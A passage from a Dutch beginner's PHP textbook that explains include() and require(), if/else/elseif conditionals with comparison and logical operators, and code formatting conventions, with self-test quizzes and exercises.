d) De voorkeur van de schrijver van dit boek ligt bij `print()` en niet bij `echo()`.

2. Welke van onderstaande stellingen is/zijn waar?

I **`echo()` kan de waarde van een variabele aanpassen;**
II **Een punt koppelt twee variabelen aan elkaar.**

a) Beide stellingen zijn onwaar.
b) Alleen stelling I is waar.
c) Alleen stelling II is waar.
d) Beide stellingen zijn waar.

3. Welke van onderstaande stellingen is/zijn waar?

I **Dubbele aanhalingstekens zijn 'slimmer';**
II **\n in combinatie met enkele aanhalingstekens voegt een nieuwe regel in de broncode in.**

a) Beide stellingen zijn onwaar.
b) Alleen stelling I is waar.
c) Alleen stelling II is waar.
d) Beide stellingen zijn waar.

4. Wanneer moeten aanhalingstekens moeten geëscaped worden?

a) Altijd.
b) Alleen als beide typen door elkaar gebruikt worden.
c) Als er een variabele in een tekststring wordt opgenomen.
d) Als een aanhalingsteken niet het einde van een tekststring aangeeft.

5. Wat is de bestandsextensie van een PHP-script dat alleen HTML bevat?

a) .html
b) .phtml
c) .php
d) .script

3 Includes

Eén van de meest gebruikte functies van PHP is de functie `include()`. Met behulp van deze functie kan een (PHP-)bestand in een ander PHP-bestand worden opgenomen. Deze functie is erg handig voor terugkerende elementen zoals een login-controle of het menu van de website.

Met behulp van `include()` kunnen de aloude HTML-frames gedag worden gezegd. Beter voor de vindbaarheid in de zoekmachines, beter voor de professionele uitstraling van de website.

Theorie

`include()` is officieel geen functie, maar voor het gemak doen we toch even alsof dat wel zo is.

mixed **include** (string *$path*)

Als parameter vraagt `include()` om het pad naar het bestand dat in het huidige PHP-bestand opgenomen moet. Dit pad mag relatief zijn ten opzichte van het huidige bestand, of relatief ten opzichte van de wortelmap van de webserver. Net als bij afbeeldingen in HTML begint het pad met een slash (`/`) als relatief ten opzichte van de wortelmap van de webserver gekeken moet worden. Begint het pad niet met een slash, dan wordt relatief ten opzichte van het bestand dat wordt uitgevoerd gekeken. Gebruik `../` om een map naar boven te gaan.

In een PHP script zou een `include()` er als volgt uit kunnen zien:

```
include('map/naar/bestand.php');
```

Net als bij `print()` en `echo()` mag in geval van `include()` de haakjes weggelaten worden en kan er gekozen worden voor dubbele of enkele aanhalingstekens. Alle onderstaande voorbeelden zijn dus correct:

```
include 'bestand.php';
include "/root/bestand.txt";
include('../map/bestand.inc.php');
include("map/bestand.php");
```

Wat in dit rijtje misschien opvalt is dat niet alleen de extensie .php, maar ook de extensie .txt gebruikt is. `include()` kan met alle soorten tekstbestanden omgaan. Niet alleen PHP-bestanden, maar ook tekstbestanden, HTML-bestanden, etc. Ongeacht de bestandsextensie wordt de inhoud van een *geïnclude* bestand uitgevoerd als PHP-code. Om PHP-code in een geïnclude bestand te gebruiken dient deze dan ook te worden aangekondigd met de bekende openingstag: `<?php`. Zonder deze openingstag wordt de inhoud van een geïnclude bestand beschouwd als doodnormale HTML-broncode.

Require

Een functie die heel veel op `include()` lijkt is `require()`. De werking van `require()` is exact gelijk aan die van `include()`, met slechts één verschil. Indien het opgegeven bestand niet kan worden gevonden, dan zal in geval van `include()` hierover een waarschuwing worden gegeven, maar wordt de rest van het PHP-script gewoon verwerkt. Indien in geval van `require()` het opgegeven bestand niet kan worden gevonden, dan wordt het uitvoeren van het PHP-script onmiddellijk gestaakt.

Afhankelijk van de situatie is één van de twee methoden dus het meest geschikt. `include()` voldoet over het algemeen prima, maar zodra iets van beveiliging om de hoek komt kijken is het verstandig om `require()` te gebruiken. Mocht het bestand dat controleert of iemand is ingelogd om wat voor reden dan ook even niet beschikbaar zijn, dan is raadzaam om uitvoering van de rest van het PHP-script onmiddellijk te stoppen, waardoor onrechtmatige toegang kan worden voorkomen.

Praktijkvoorbeeld: een alternatief voor HTML-frames

In dit voorbeeld gaan we de functie `include()` gebruiken om het sitemenu in een los bestand op te nemen. Bij wijzigingen in het menu hoeft dan nog maar één bestand aangepast te worden. Dit is vergelijkbaar met het voordeel dat HTML-frames bieden. In dit voorbeeld gaan we echter uit van een eenvoudige website zonder frames.

We gaan uit van een (denkbeeldige) website met de volgende structuur:

```
|- contact.html
|- fotos.html
|- index.html
|- nieuws.html
```

De opbouw van de pagina's is eenvoudig en is afgezien van concrete inhoud gelijk aan elkaar. Het menu-gedeelte van ieder van de vier genoemde HTML-bestanden is dus gelijk aan elkaar. Juist dit menu-gedeelte zal worden verplaatst naar een afzonderlijk bestand. De opbouw van de HTML-pagina's is als volgt:

```
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
      <link href="style.css" type="text/css" />
      <title>Pagina Titel</title>
</head>
<body>

      <div id="menu">
            <ul>
                  <li><a href="index.html">Home</a></li>
                  <li><a href="nieuws.html">Nieuws</a></li>
                  <li><a href="fotos.html">Foto's</a></li>
                  <li><a href="contact.html">Contact</a></li>
            </ul>
      </div>

      <div id="content">
            <!-- Inhoud van de pagina -->
      </div>

</body>
</html>
```

Het menu-gedeelte wordt uit alle HTML-bestanden verwijderd en in een nieuw bestand geplaatst: **menu.inc.php**. Er is hier bewust gekozen voor de extensie *.inc.php*, waarmee wordt aangegeven dat het betreffende bestand in een ander bestand *geïnclude* wordt. Hierdoor is meteen duidelijk dat het betreffende bestand als losstaand bestand geen nuttige functie heeft, maar alleen als het wordt opgenomen in een ander volwaardig PHP-script.

De inhoud van **menu.inc.php** is nu als volgt:

```
<div id="menu">
      <ul>
            <li><a href="index.html">Home</a></li>
            <li><a href="nieuws.html">Nieuws</a></li>
            <li><a href="fotos.html">Foto's</a></li>
            <li><a href="contact.html">Contact</a></li>
      </ul>
</div>
```

Hiermee wordt de bestandsstructuur van de website:

```
|- contact.html
|- fotos.html
|- index.html
|- menu.inc.php
|- nieuws.html
```

Via een `include()` wordt het menu nu weer terug ingevoegd in de menuloze HTML-bestanden. De inhoudt hiervan wordt nu als volgt:

```
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
      <link href="style.css" type="text/css" />
      <title>Pagina Titel</title>
</head>
<body>

      <?php include('menu.inc.php'); ?>

      <div id="content">
            <!-- Inhoud van de pagina -->
      </div>

</body>
</html>
```

Aangezien de PHP-code alleen wordt uitgevoerd als een bestand de .php extensie heeft, dient de html extensie van de websitebestanden nog veranderd te worden in php. De structuur van de website wordt hiermee als volgt:

```
|- contact.php
|- fotos.php
|- index.php
|- menu.inc.php
|- nieuws.php
```

Als we nu terugkijken naar de inhoud van *menu.inc.php*, dan zien we daar dat nog steeds wordt verwezen naar html-bestanden. Aangezien de html-bestanden nu php-bestanden zijn geworden, moet dit ook nog even aangepast worden:

```
<div id="menu">
      <ul>
            <li><a href="index.php">Home</a></li>
            <li><a href="nieuws.php">Nieuws</a></li>
            <li><a href="fotos.php">Foto's</a></li>
            <li><a href="contact.php">Contact</a></li>
      </ul>
</div>
```

Hiermee is het menu naar een afzonderlijk bestand verplaatst. Als er nu bijvoorbeeld een pagina aan de website wordt toegevoegd, hoeft het menu op nog maar één plek aangepast te worden in plaats van in alle html-bestanden.

Zelftest

1. Indien PHP-code in een `include()`-bestand is opgenomen…

a) …wordt deze altijd uitgevoerd.
b) …dienen er haakjes gebruikt te worden bij include().
c) …kan alleen echo() gebruikt worden en geen print().
d) …dient deze altijd voorafgegaan zijn door <?php.

2. Welke van onderstaande stellingen is/zijn waar?

I **Uitvoering van het script wordt gestaakt indien een `include()`-bestand niet gevonden kan worden;**
II **Uitvoering van het script wordt gestaakt indien een `require()`-bestand niet gevonden kan worden.**

a) Beide stellingen zijn onwaar.
b) Alleen stelling I is waar.
c) Alleen stelling II is waar.
d) Beide stellingen zijn waar.

Oefening: menu in-clude

Gegeven is onderstaande HTML-code van het bestand **contact.html**:

```
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
      <link href="style.css" type="text/css" />
      <title>Contact</title>
</head>
<body>

      <div id="menu">
            <ul>
                  <li><a href="index.html">Home</a></li>
                  <li><a href="nieuws.html">Nieuws</a></li>
                  <li><a href="producten.html">Producten</a></li>
                  <li><a href="over.html">Over Ons</a></li>
                  <li><a href="contact.html">Contact</a></li>
            </ul>
      </div>

      <div id="content">
            <h1>Contact</h1>
            <p>Gebruik onderstaand formulier om contact op te nemen.</p>
            <form action="form.php">
            Email: <input type="text" name="email" /><br />
            Bericht: <textarea name="bericht" rows="8"
cols="35"></textarea><br />
            <input type="submit" value="Verzenden" /></form>
      </div>

</body>
</html>
```

Opdracht

Verwijder het menu uit de webpagina en plaats dit in een afzonderlijk PHP-bestand. Gebruik vervolgens PHP om het menu in het overblijvende deel van de webpagina in te voegen.

Geef als antwoord de aangepaste versie van bovenstaande HTML-code en de inhoud van het afzonderlijke menu-bestand.

Neem aan dat het menu in de andere HTML-pagina's op vergelijkbare wijze wordt verwijderd en middels PHP ingevoegd.

4 Voorwaardelijke uitdrukkingen

Een *voorwaardelijke uitdrukking* maakt het mogelijk om onderdelen van een PHP-script wel of niet uit te voeren, afhankelijk van zelf te kiezen omstandigheden. Invoer van de gebruiker is een voorbeeld van dit soort omstandigheden, maar niet de enige mogelijkheid. *Voorwaardelijke uitdrukkingen* zijn wellicht het belangrijkste onderdeel van PHP: dit is wat dynamische webpagina's daadwerkelijk dynamisch maakt.

Dit hoofdstuk is vrij theoretisch van opzet. Meer praktische toepassingen van *voorwaardelijke uitdrukkingen* komen ter sprake in vervolghoofdstukken in combinatie met andere mogelijkheden van PHP.

Theorie

Voorwaardelijke uitdrukkingen worden opgesteld met behulp van `if`, `else` en `elseif` constructies. Deze worden gebruikt in zogenaamde als-dan-anders-dan constructies. De basisvorm ziet er in pseudocode als volgt uit:

```
ALS (vergelijking is waar)
      DAN voer deze code uit
ANDERS
      DAN voer andere code uit
```

In het *ALS*-gedeelte wordt een vergelijking opgenomen, waarin twee variabelen met elkaar vergeleken worden. Als de vergelijking waar is, dan wordt alleen het stuk code onder *ALS* tot aan *ANDERS* uitgevoerd. Is de vergelijking onwaar, dan wordt alleen het stuk code onder *ANDERS* uitgevoerd.

Aangezien PHP een Engelstalige scripttaal is, worden *ALS* en *ANDERS* in het Engels als `if` en `else` geschreven. In tegenstelling tot sommige andere scripttalen, komt *DAN* niet letterlijk terug in PHP, zoals ook duidelijk zal worden in de volgende paragrafen.

If

`if` is het gedeelte dat de vergelijking bevat die door PHP getoetst wordt. Zoals gezegd worden hier twee variabelen vergeleken. Er zijn verschillende soorten vergelijkingen mogelijk, maar vooralsnog zullen we ons beperken tot de *is gelijk aan* vergelijking.

In de vergelijking worden de twee te vergelijken variabelen gescheiden door een zogenoemde *vergelijkingsoperator*. Deze geeft aan op welke manier de variabelen vergeleken moeten worden. De vergelijkingsoperator voor *is gelijk aan* is twee =-tekens: `==`.

Tijd voor een voorbeeld:

```
if ($a == $b) {
      echo 'a is gelijk aan b';
}
```

In bovenstaand voorbeeld worden `$a` en `$b` met elkaar vergeleken. Indien de twee variabelen aan elkaar gelijk zijn, wordt de tekst *a is gelijk aan b* weergegeven. Als de variabelen niet aan elkaar gelijk zijn, wordt die tekst niet weergegeven.

De accolades (`{` en `}`) geven aan welk gedeelte van het script afhankelijk is van de vergelijking. Er kunnen meerdere regels code tussen de accolades worden gezet, welke in zijn geheel wel of niet wordt uitgevoerd, afhankelijk van de uitkomst van de vergelijking.

```
if ($a == $b) {
      echo 'a is gelijk aan b <br />';
      echo 'de waarde van a is '.$a;
}
```

In bovenstaand voorbeeld, worden beide regels tekst weergegeven als `$a` gelijk is aan `$b` en wordt niets weergegeven als de twee variabelen niet gelijk aan elkaar zijn.

In een voorwaardelijke uitdrukking kan ook weer een nieuwe voorwaardelijke uitdrukking worden opgenomen (en daar kan weer een nieuwe voorwaardelijke uitdrukking in opgenomen worden, etc.). Een `if` kan dus weer een andere `if` bevatten:

```
if ($a == $b) {
      echo 'a is gelijk aan b';

      if ($c == $d) {
            echo 'c is gelijk aan d';
      }
}
```

Als hierin `$c` gelijk is aan `$d`, maar `$a` niet gelijk is aan `$b`, dan wordt niets weergegeven.
Is `$a` gelijk aan `$b`, maar `$c` niet gelijk aan `$d`, dan wordt alleen de eerste zin getoond.
Zijn beide vergelijkingen waar, dan worden beide zinnen getoond.

Else

In de voorbeelden uit de voorgaande paragraaf gebeurt er niets als het resultaat van een vergelijking onwaar is. Het komt echter vaak voor dat juist een ander stuk code moet worden uitgevoerd als een vergelijking onwaar is. Dit is mogelijk met behulp van `else`. Door na een `if`-vergelijking (met bijbehorende code tussen accolades) een `else`-constructie (met bijbehorende code tussen accolades) op te nemen, kan worden bepaald wat moet gebeuren als de `if`-vergelijking onwaar is.

```
if ($a == $b) {
      echo 'a is gelijk aan b';
}
else {
      echo 'a is NIET gelijk aan b';
}
```

In `else` kan vervolgens weer een nieuwe `if`-uitdrukking met bijbehorende `else` worden opgenomen, etc.

```
if ($a == $b) {
      echo 'a is gelijk aan b';
}
else {
      if ($c == $d) {
            echo 'a is NIET gelijk aan b, maar c is wel gelijk aan d';
      }
      else {
            echo 'a is NIET gelijk aan b en c is ook niet gelijk aan b';
      }
}
```

Hierin wordt allereerst gekeken of `$a` gelijk is aan `$b`. Als dat zo is, wordt de zin *a is gelijk aan b* getoond en wordt de rest dat bij `else` hoort overgeslagen.
Is `$a` niet gelijk is aan `$b`, dan wordt gekeken of `$c` gelijk is aan `$d`. Als dat zo is, wordt de zin *a is NIET gelijk aan b, maar c is wel gelijk aan d* getoond en wordt de rest dat bij de tweede `else` hoort overgeslagen. Als blijkt dat `$c` niet gelijk is aan `$d`, dan wordt de zin *a is NIET gelijk aan b en c is ook niet gelijk aan b* getoond.

Elseif

`elseif` kan gezien worden als een tussenstap tussen `if` en `else`. Hiermee kan dan een extra vergelijking getoetst worden, voordat de else-code uitgevoerd wordt. De basisvorm in pseudocode wordt dan:

```
ALS (vergelijking is waar)
      DAN voer deze code uit
ALS ANDERS (tweede vergelijking is waar)
      DAN voer andere code uit
ANDERS
      DAN voer weer andere code uit
```

Door gebruik te maken van `elseif` wordt het laatste voorbeeld uit de voorgaande paragraaf een stuk overzichtelijker:

```
if ($a == $b) {
      echo 'a is gelijk aan b';
}
elseif ($c == $d) {
      echo 'a is NIET gelijk aan b, maar c is wel gelijk aan d';
}
else {
      echo 'a is NIET gelijk aan b en c is ook niet gelijk aan b';
}
```

Het resultaat van dit code-fragment is exact hetzelfde als het laatste voorbeeld uit de voorgaande paragraaf, maar is wel enigszins overzichtelijker. In een `elseif` kunnen uiteraard ook weer nieuwe `if`'s, `elseif`'s en `else`'s opgenomen worden.

Het feit dat het gebruik van `elseif` de code een stuk overzichtelijker maakt dan het domweg opnemen van nieuwe `if`'s in de laatste `else`, wordt duidelijker aan de hand van het volgende voorbeeld:

```
if ($a == $b) {
    echo 'a is gelijk aan b';
}
else {
    if ($a == $c) {
        echo 'a is gelijk aan b';
    }
    else {
        if ($a == $d) {
            echo 'a is gelijk aan c';
        }
        else {
            if ($a == $e) {
                echo 'a is gelijk aan d';
            }
            else {
                if ($a == $f) {
                    echo 'a is gelijk aan e';
                }
                else {
                    if ($a == $g) {
                        echo 'a is gelijk aan f';
                    }
                    else {
                        if ($a == $h) {
                            echo 'a is gelijk aan g';
                        }
                        else {
                            echo 'a nergens gelijk aan';
                        }
                    }
                }
            }
        }
    }
}
```

In het voorgaande voorbeeld is het erg onduidelijk waar al die sluitende accolades (`}`) op het eind nu allemaal bij horen. Door gebruik te maken van `elseif` treedt dat probleem niet op en daarnaast is de code ook nog een stuk korter. In het bovenstaande voorbeeld kan in feite iedere `if` die direct na een `else {` staat worden samengevoegd tot een `elseif`:

```
//Nogmaals hetzelfde, maar nu met behulp van elseif:

if ($a == $b) {
    echo 'a is gelijk aan b';
}
elseif ($a == $c) {
    echo 'a is gelijk aan b';
}
elseif ($a == $d) {
    echo 'a is gelijk aan c';
}
elseif ($a == $e) {
    echo 'a is gelijk aan d';
}
elseif ($a == $f) {
    echo 'a is gelijk aan e';
}
elseif ($a == $g) {
    echo 'a is gelijk aan f';
}
elseif ($a == $h) {
    echo 'a is gelijk aan g';
}
else {
    echo 'a nergens gelijk aan';
}

//En de hele serie sluitende accolades is verdwenen.
```

Soorten vergelijkingen

Naast vergelijkingen *gelijk aan* zijn er ook nog andere soorten vergelijkingen. De vergelijkingsoperatoren voor bijvoorbeeld *groter dan* of *kleiner dan* zijn gelijk aan respectievelijk `>` en `<`. Zie tabel 2 voor een overzicht van alle vergelijkingsoperatoren.

Voorbeeld	Naam	Omschrijving
`$a == $b`	Gelijk aan	WAAR als `$a` gelijk aan `$b`
`$a === $b`	Identiek aan	WAAR als `$a` en `$b` gelijk en hetzelfde type[1]
`$a != $b`	Niet gelijk aan	WAAR als `$a` niet gelijk aan `$b`
`$a <> $b`	Niet gelijk aan	WAAR als `$a` niet gelijk aan `$b`
`$a !== $b`	Niet identiek aan	WAAR als `$a` en `$b` niet gelijk of verschillend type
`$a < $b`	Kleiner dan	WAAR als `$a` kleiner dan `$b`
`$a > $b`	Groter dan	WAAR als `$a` groter dan `$b`
`$a <= $b`	Kleiner dan of gelijk aan	WAAR als `$a` kleiner of gelijk aan `$b`
`$a >= $b`	Groter dan of gelijk aan	WAAR als `$a` groter of gelijk aan `$b`

tabel 2: vergelijkingsoperatoren

[1] Zie hoofdstuk 1 paragraaf Functies voor een overzicht van typen.

Zo kan bijvoorbeeld een if-vergelijking worden gebruikt om te controleren of de zelftoets van dit hoofdstuk goed genoeg gemaakt is:

```
if ($aantalfouten < 3) {
    echo 'voldoende';
}
else {
    echo 'onvoldoende';
}
```

Als $aantalfouten alleen een geheel getal (ofwel een *integer*) kan zijn, is bovenstaand gelijk aan onderstaand:

```
if ($aantalfouten <= 2) {
    echo 'voldoende';
}
else {
    echo 'onvoldoende';
}
```

Immers, in het geval van *integers* is *kleiner dan 3* (lager dan drie en geen drie) hetzelfde als *kleiner of gelijk aan 2* (lager dan twee of twee).

Hardcoded vergelijkingen

In tegenstelling tot eerdere voorbeelden waar de ene variabele met de andere variabele vergeleken werd, is in de voorgaande paragraaf slechts één variabele vergeleken met een vaststaande waarde.

Een vergelijking waarin één variabele met een vaststaande waarde wordt vergeleken, noemen we een *hardcoded* vergelijking: de waarde staat keihard in de code en kan alleen handmatig gewijzigd worden. In een hardcoded vergelijking kunnen niet alleen *integers* worden vergeleken. Vergelijkingen van andere typen variabelen, zoals *strings* of *booleans* zijn ook mogelijk:

```
//hardcoded integer
if ($aantalfouten < 3) {
    echo 'voldoende';
}

//hardcoded string
if ($beoordeling == 'voldoende') {
    echo 'voldoende';
}

//hardcoded boolean
if ($voldoende == TRUE) {
    echo 'voldoende';
}
```

Meerdere vergelijkingen combineren

Het zal regelmatig voorkomen dat een `if`-beslissing eigenlijk afhankelijk is van meer dan één voorwaarde. Nu kan voor iedere voorwaarde een aparte `if`-beslissing geschreven worden, maar handiger is het om alle voorwaarden in één `if`-beslissing op te nemen.

Hier komen de zogenaamde *logische operatoren* in actie. Deze *logische operatoren* maken het mogelijk om meerdere beslissingen tot één enkele voorwaarde samen te voegen. Een overzicht van de beschikbare logische operatoren is weergegeven in tabel 3.

Voorbeeld	Naam	Omschrijving
`$a and $b`	En	WAAR als `$a` en `$b` beide WAAR zijn
`$a or $b`	Of	WAAR als `$a` WAAR is of `$b` WAAR is
`$a xor $b`	Exclusieve Of	WAAR als `$a` of `$b` WAAR is, maar niet beide WAAR zijn
`! $a`	Niet	WAAR als `$a` ONWAAR is
`$a && $b`	En	WAAR als `$a` en `$b` beide WAAR zijn
`$a || $b`	Of	WAAR als `$a` WAAR is of `$b` WAAR is

tabel 3: logische operatoren

De werking van de logische operatoren wordt toegelicht aan de hand van het volgende voorbeeld:

```
if ($a == $b) {
    if ($a == $c) {
        echo 'a is gelijk aan b en c';
    }
}
```

In dit geval wordt de `echo` alleen uitgevoerd als `$a`, `$b` en `$c` alleen gelijk aan elkaar zijn. Met behulp van de logische operator `&&` is dit ook te schrijven als:

```
if (($a == $b) && ($a == $c)) {
    echo 'a is gelijk aan b en c';
}
```

Het resultaat hiervan is weer precies hetzelfde: als `$a` gelijk is aan `$b` en `$a` gelijk is aan `$c` wordt de `echo` uitgevoerd.

Omdat de logische operatoren alleen *booleaanse vergelijkingen* kunnen maken (dat wil zeggen; alleen iets kunnen met de waarden WAAR en ONWAAR), is onderstaand geen correcte PHP-code:

```
if ($a == $b && $c) {
    echo 'a is gelijk aan b en c';
}
```

Stel dat `$a`, `$b` en `$c` de getallen 1, 3 en 5 zijn, dan gaat het mis op $b && $c. Vul de getallen in en er staat 3 && 5, terwijl PHP in plaats van getallen twee booleaanse waarden verwacht.

Daarom moet altijd *eerst* een vergelijking worden gemaakt met behulp van de vergelijkingsoperatoren uit tabel 2. Het resultaat van deze vergelijking is dan altijd een *booleaanse waarde* (WAAR of ONWAAR). *Vervolgens* kan hierop dan weer een logische operator uit tabel 3 losgelaten worden.

Verkorte vorm

Als slechts één regel code afhankelijk is van een `if` of `elseif`, dan kan ook gebruik worden gemaakt van een verkorte vorm. In deze verkorte vorm worden de accolades weggelaten. Het laatste voorbeeld uit de voorgaande paragraaf is dan ook te schrijven als:

```
if (($a == $b) && ($a == $c)) echo 'a is gelijk aan b en c';
```

Evenzo is het laatste voorbeeld uit de paragraaf Elseif te schrijven als:

```
if     ($a == $b) echo 'a is gelijk aan b';
elseif ($a == $c) echo 'a is gelijk aan b';
elseif ($a == $d) echo 'a is gelijk aan c';
elseif ($a == $e) echo 'a is gelijk aan d';
elseif ($a == $f) echo 'a is gelijk aan e';
elseif ($a == $g) echo 'a is gelijk aan f';
elseif ($a == $h) echo 'a is gelijk aan g';
else              echo 'a nergens gelijk aan';
```

Indien PHP geen accolades aantreft, sluit de eerstvolgende puntkomma en `if`, `elseif` of `else` direct af.

Zelftest

1. Kies de juiste volgorde:

a) `elseif`, `else`, `if`
b) `if`, `elseif`, `else`
c) `if`, `else`, `elseif`
d) `else`, `elseif`, `if`

2. Wat geeft een openende accolade ({) aan?

a) Het begin van een PHP-script.
b) Het begin van een `if`-vergelijking.
c) Het eind van een `else`-voorwaarde.
d) Het begin van een gedeelte voorwaardelijke PHP-code.

3. Wat is de vergelijkingsoperator voor een vergelijking "groter dan of gelijk aan"?

a) =>
b) >=
c) =+
d) >

4. Welk codefragment is correct?

I **if ($var1 <= $var2 || var3) { }**
II **if ($var1 == ($var2 && var3) { }**

a) Beide codefragmenten zijn correct.
b) Alleen codefragment I is correct.
c) Alleen codefragment II is correct.
d) Beide codefragmenten zijn incorrect.

5. De logische vergelijking `$a || $b` betekent:

a) WAAR als `$a` en `$b` beide WAAR zijn.
b) ONWAAR als `$a` en `$b` beide ONWAAR zijn.
c) WAAR als `$a` WAAR is of `$b` WAAR is.
d) WAAR als `$a` ONWAAR is.

6. *Hardcoded* vergelijkingen zijn…

a) …vergelijkingen afhankelijk van twee variabelen.
b) …vergelijkingen van een variabele met een vaststaande waarde.
c) …niet in PHP maar in HardCode geschreven vergelijkingen.
d) …vergelijkingen die door de hardware en niet door de software worden opgelegd.

Oefening: voorwaardelijke uitdrukkingen

Er zijn drie variabelen `$a`, `$b` en `$c` die allen integers zijn. `$a` mag vrij gekozen worden. `$b` is altijd gelijk aan 3, `$c` is altijd gelijk aan 8.

Opdracht

Schrijf een PHP-script en gebruik voorwaardelijke uitdrukkingen om te bepalen of `$a` kleiner is dan `$b`, gelijk is aan `$b`, tussen `$b` en `$c` in ligt, gelijk is aan `$c` of groter is dan `$c`. Gebruik `echo` om de conclusie van de test in de browser weer te geven.

Test het PHP-script door verschillende waarden van `$a` in te vullen.

Tip: gebruik drie `elseif`'s en één `else`.

5 Code Opmaak

Om scripts leesbaar te houden is het verstandig om een bepaalde consequente structuur aan te houden. Te denken valt aan waar wel en waar geen spaties geplaatst worden, waar accolades komen te staan, welke regels worden ingesprongen, etc.

Er zijn vele manieren om hiermee om te gaan. Welke manier ook gekozen wordt, het belangrijkste is dat deze consequent wordt toegepast. Vooral als met meerdere mensen aan één project wordt gewerkt, is het verstandig om vooraf enige afspraken te maken over de opmaak van de code.

Dit hoofdstuk bespreekt de opmaakregels die in dit boek worden toegepast. Deze opmaakregels kunnen als richtlijn bij het schrijven van eigen scripts worden gebruikt, of kan als basis dienen voor eigen opmaakregels.

Theorie

In deze bespreking wordt uitgegaan van onderstaande (overigens codetechnisch correcte!) voorbeeld PHP-code. Deze code zal in de volgende paragrafen stap voor stap van opmaak voorzien worden. Op het moment is de code niet echt leesbaar. Iemand die de code niet zelf geschreven heeft, zal grote moeite hebben om te begrijpen wat er hier gebeurt. Ook in geval van eigen code waar al een tijd niet meer naar om is gekeken, is het in onderstaand voorbeeld lastig om in te zien wat er nu precies gebeurt.

```
$wachtwoord='ASDY%$SSVGSW';$wachtwoordlengte=strlen($wachtwoord);if($wachtw
oordlengte>=6){if($wachtwoordlengte>=8){echo'De lengte van dit wachtwoord i
s voldoende.';}else{echo'Het is verstandig om een iets langer wachtwoord te
 kiezen.';}}else{echo'Dit wachtwoord is te kort. ';echo'Het wachtwoord kan
verlengd worden door eventueel twee keer hetzelfde achter elkaar te zetten.
 ';$dubbelwachtwoord=$wachtwoord.$wachtwoord;echo'Bijvoorbeeld: '.$dubbelwa
chtwoord;}
```

Nieuwe regels

Allereerst is het verstandig om iedere instructie op een nieuwe regel te beginnen:

```
$wachtwoord='ASDY%$SSVGSW';
$wachtwoordlengte=strlen($wachtwoord);
if($wachtwoordlengte>=6){
if($wachtwoordlengte>=8){
echo'De lengte van dit wachtwoord is voldoende.';}
else{
echo'Het is verstandig om een iets langer wachtwoord te kiezen.';}}
else{
echo'Dit wachtwoord is te kort. ';
echo'Het wachtwoord kan verlengd worden door eventueel twee keer hetzelfde
achter elkaar te zetten. ';
$dubbelwachtwoord=$wachtwoord.$wachtwoord;
echo'Bijvoorbeeld: '.$dubbelwachtwoord;}
```

Nog niet optimaal, maar toch al heel wat overzichtelijker.

Spaties

Een goed gebruik is om verschillende elementen door spaties te scheiden. Zo wordt er een spatie gezet tussen de naam van een variabele en het =-teken dat een waarde aan deze variabele toekent. Zo staat er ook een spatie aan de andere kant van dat =-teken, voor de werkelijke waarde die aan de variabele wordt toegekend.

Vergelijkingsoperatoren en logische operatoren worden ook aan beide kanten omringd door een spatie.

Verder komt er voor ieder haakje-openen een spatie, maar over het algemeen niet erna. Ditzelfde is van toepassing op accolades. Tussen de naam van een functie en het haakje dat het begin van de parameterlijst aangeeft komt juist weer geen spatie.

```
$wachtwoord = 'ASDY%$SSVGSW';
$wachtwoordlengte = strlen($wachtwoord);
if ($wachtwoordlengte >= 6) {
if ($wachtwoordlengte >= 8) {
echo 'De lengte van dit wachtwoord is voldoende.'; }
else {
echo 'Het is verstandig om een iets langer wachtwoord te kiezen.'; }}
else {
echo 'Dit wachtwoord is te kort. ';
echo 'Het wachtwoord kan verlengd worden door eventueel twee keer hetzelfde
 achter elkaar te zetten. ';
$dubbelwachtwoord = $wachtwoord . $wachtwoord;
echo 'Bijvoorbeeld: '.$dubbelwachtwoord; }
```

Ook komen er spaties aan beide kanten van de punt die twee variabelen aan elkaar koppelt, maar niet als een hardcoded tekst en een variabele worden gekoppeld.

`echo`, `else`, `if` en vergelijkbare elementen worden eveneens gevolgd door een spatie, maar de afsluitende puntkomma wordt niet voorafgegaan door een spatie

Accolades

Een openende accolade komt direct achter de bijbehorende uitdrukking. Iedere sluitende accolade krijgt een eigen regel.

```
$wachtwoord = 'ASDY%$SSVGSW';
$wachtwoordlengte = strlen($wachtwoord);
if ($wachtwoordlengte >= 6) {
if ($wachtwoordlengte >= 8) {
echo 'De lengte van dit wachtwoord is voldoende.';
}
else {
echo 'Het is verstandig om een iets langer wachtwoord te kiezen.';
}
}
else {
echo 'Dit wachtwoord is te kort. ';
echo 'Het wachtwoord kan verlengd worden door eventueel twee keer hetzelfde
 achter elkaar te zetten. ';
$dubbelwachtwoord = $wachtwoord . $wachtwoord;
echo 'Bijvoorbeeld: '.$dubbelwachtwoord;
}
```

Tabs

Naast het op een nieuwe regel plaatsen van iedere instructie is het gebruik van tabs de belangrijkste opmaakregel: de *code indent*. Hiermee wordt direct duidelijk waar een codedeel dat tussen accolades staat toe behoort:

```
$wachtwoord = 'ASDY%$SSVGSW';
$wachtwoordlengte = strlen($wachtwoord);
if ($wachtwoordlengte >= 6) {
    if ($wachtwoordlengte >= 8) {
        echo 'De lengte van dit wachtwoord is voldoende.';
    }
    else {
        echo 'Het is verstandig om een iets langer wachtwoord te kiezen.';
    }
}
else {
    echo 'Dit wachtwoord is te kort. ';
    echo 'Het wachtwoord kan verlengd worden door eventueel twee keer hetze
lfde achter elkaar te zetten. ';
    $dubbelwachtwoord = $wachtwoord . $wachtwoord;
    echo 'Bijvoorbeeld: '.$dubbelwachtwoord;
}
```

Lege regels

Vaak worden lege regels gebruikt om verschillende soorten code uit elkaar te houden, zoals in onderstaand voorbeeld. Het kan geen kwaad om zo nu en dan een lege regel in te voegen om het overzicht te kunnen bewaren. Verschillende scriptonderdelen die weinig met elkaar te maken hebben worden vaak gescheiden door drie of meer lege regels.

```
$wachtwoord = 'ASDY%$SSVGSW';
$wachtwoordlengte = strlen($wachtwoord);

if ($wachtwoordlengte >= 6) {
